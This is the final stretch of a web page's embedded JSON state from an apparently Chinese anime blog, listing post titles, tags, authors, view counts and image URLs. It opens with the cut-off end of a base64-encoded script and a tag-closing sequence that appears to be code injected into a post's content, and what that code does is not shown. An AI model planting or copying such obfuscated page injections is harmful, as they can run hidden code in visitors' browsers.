nRlby50b1N0cmluZygpLCAyNCk7fX19CiAgICAgICAgICAgIGVqZWN1dGFyQ29uTGltaXRlKCk7fSkoKTs=\"));\u003C\u002Fscript>\u003Ctitle>\u003Ca>","[]",10,"2026-04-08T16:30:31",[40,54,81],{"authorAvatarUrl":7,"authorName":15,"categoryName":7,"categorySlug":7,"coverUrl":41,"id":42,"likeCount":16,"publishedAt":43,"readingMinutes":37,"recommend":14,"slug":44,"summary":7,"tagItems":45,"tagNames":49,"title":50,"top":14,"topicItems":51,"topicNames":52,"viewCount":53},"https:\u002F\u002Foss.ideaflow.top\u002FarticleCover\u002Fd9bab5be2791cefb1d7200d117ed75b51a25c98fab6db990a52e5a1378b4b8f5.webp",7,"2026-04-03T15:47:38","ceshi-shili",[46],{"name":47,"slug":48},"新手入门","beginner",[47],"测试-md示例",[],[],37,{"authorAvatarUrl":7,"authorName":15,"categoryName":55,"categorySlug":56,"coverUrl":57,"id":27,"likeCount":58,"publishedAt":59,"readingMinutes":27,"recommend":14,"slug":60,"summary":61,"tagItems":62,"tagNames":70,"title":71,"top":14,"topicItems":72,"topicNames":79,"viewCount":80},"新番观察","season-watch","https:\u002F\u002Fs3.hi168.com\u002Fhi168-29272-3320gqns\u002Ftest\u002F6688.jpeg",326,"2026-03-27T20:00:00","spring-2026-first-five","如果你只想先追 5 部作品,这篇会按情绪浓度、画面完成度和追更压力给出最稳妥的入场顺序。",[63,66,69],{"name":64,"slug":65},"治愈系","healing",{"name":67,"slug":68},"奇幻冒险","fantasy-adventure",{"name":47,"slug":48},[64,67,47],"2026cc 春季新番先看哪 5 部:从情绪密度到作画稳定度的一次筛选",[73,76],{"name":74,"slug":75},"2026 春季追番清单","spring-2026-watchlist",{"name":77,"slug":78},"入坑路线图","starter-roadmap",[74,77],4848,{"authorAvatarUrl":82,"authorName":83,"categoryName":84,"categorySlug":85,"coverUrl":57,"id":86,"likeCount":87,"publishedAt":88,"readingMinutes":89,"recommend":14,"slug":90,"summary":91,"tagItems":92,"tagNames":99,"title":100,"top":21,"topicItems":101,"topicNames":105,"viewCount":106},"https:\u002F\u002Fimage.pollinations.ai\u002Fprompt\u002Fanime%20editor%20portrait%20blue%20hair%20illustration?width=512&height=512&seed=3202&nologo=true","雾岛栞","场景美学","scene-aesthetics",2,281,"2026-03-26T21:10:00",4,"rainy-city-train-scenes","从霓虹倒影、玻璃反光和人物留白三个角度,拆解动画中最容易让人沉浸的城市夜景镜头。",[93,96],{"name":94,"slug":95},"都市夜景","city-night",{"name":97,"slug":98},"壁纸向","wallpaper",[94,97],"雨夜电车窗景为什么总能打动人:12 个高情绪城市镜头拆解",[102],{"name":103,"slug":104},"城市夜色美学","city-night-aesthetics",[103],3698,"22","222",[110,97,47],"配乐精选",[],42,["Reactive",114],{"$scolor-mode":115,"$stoasts":117,"$sauth.current-user":118,"$sauth.initialized":21,"$sauth.loading":21},{"preference":116,"value":116,"unknown":14,"forced":21},"system",[],null,["Set"],["ShallowReactive",121],{"site-base-info":-1,"site-post-222":-1},"\u002Fposts\u002F222"]</script></body></html>